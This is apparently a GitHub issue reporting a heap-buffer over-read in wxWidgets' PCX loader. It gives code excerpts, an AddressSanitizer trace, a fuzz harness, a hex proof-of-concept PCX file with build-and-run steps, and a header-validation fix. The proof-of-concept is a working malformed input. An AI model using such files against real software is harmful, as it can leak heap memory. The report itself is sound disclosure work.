ReadPCX allocates a per-line buffer p of size bytesperline * nplanes from the PCX header, then iterates for (i = 0; i < width; i++) *dst = p[i];. The header's width and bytesperline are independent fields and never cross-validated.
src/common/imagpcx.cpp:218 (allocation):
p = (unsigned char *) malloc(bytesperline * nplanes);
src/common/imagpcx.cpp:240 (8-bit decode loop):
for (i = 0; i < width; i++) { *dst = p[i]; // line 240, OOB when width > bytesperline*nplanes dst += 3; }
The 24-bit branch a few lines below reads p[i], p[i + bytesperline], and p[i + 2*bytesperline], so the same condition gives up to 2*bytesperline + width worth of OOB read. A header with width >> bytesperline*nplanes produces a tiny allocation and walks width bytes into adjacent heap.
Found by an ASAN libFuzzer harness against wxPCXHandler::LoadFile.
A PCX whose width exceeds bytesperline * nplanes should be rejected as malformed. Currently it reads heap memory adjacent to the per-line buffer and writes those bytes into the decoded image.
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7beef4622371
READ of size 1 at 0x7beef4622371 thread T0
#0 ReadPCX src/common/imagpcx.cpp:240:28
#1 wxPCXHandler::LoadFile(wxImage*, wxInputStream&, bool, int) src/common/imagpcx.cpp:447:18
#2 LLVMFuzzerTestOneInput tests/fuzz/pcx.cpp:13:7
0x7beef4622371 is located 0 bytes after 1-byte region [0x7beef4622370,0x7beef4622371)
allocated by:
#0 malloc
#1 ReadPCX src/common/imagpcx.cpp:218:32
SUMMARY: AddressSanitizer: heap-buffer-overflow src/common/imagpcx.cpp:240:28 in ReadPCX
Drop the following as tests/fuzz/pcx.cpp next to the existing tests/fuzz/runner.cpp:
#include "wx/log.h" #include "wx/mstream.h" #include "wx/imagpcx.h" extern "C" int LLVMFuzzerTestOneInput(const wxUint8* data, size_t size) { wxLogNull noLog; wxMemoryInputStream mis(data, size); wxImage img; wxPCXHandler h; h.LoadFile(&img, mis, false); return 0; }
128-byte PoC, hex below. Reconstruct with xxd -r -p hex.txt poc.pcx:
0a0501080000000008000000480048000000000000f300000000000000000000
0000000000000000000000000000000000000000000000000000000000000102
000100000a970000000000000000000000000000000000000000000000000000
000000000000000000000000000000000a970000000400000000000000c10000
Header sets bytesperline=0, nplanes=1, bitsperpixel=8, width=9. The product bytesperline*nplanes = 0, so malloc returns a zero-byte allocation (ASAN tracks this as a 1-byte region), and the decode loop walks 9 bytes off the end.
Check out master at the current HEAD and apply the harness above to tests/fuzz/pcx.cpp.
Save the hex above to a file and decode: xxd -r -p hex.txt poc.pcx.
Build:
clang++ -g -fsanitize=address tests/fuzz/{pcx,runner}.cpp \
`wx-config --cxxflags --libs core,base` -o repro_pcx
Run ./repro_pcx poc.pcx and observe the ASAN trace.
Validate width > 0 && height > 0 && bytesperline > 0 && width <= bytesperline right after reading the header; reject otherwise (return wxPCX_INVFORMAT). Patch ready with an inline-bytes Catch2 regression test. Happy to send a PR.
f57b17ba5f63db53dd1b465646ade105fee22302. Line 240 is unchanged at tag v3.3.2, and the same pattern is present at v3.2.0.gcr.io/oss-fuzz-base/base-builder).—
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.
You are receiving this because you are subscribed to this thread.![]()
—
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.
You are receiving this because you are subscribed to this thread.![]()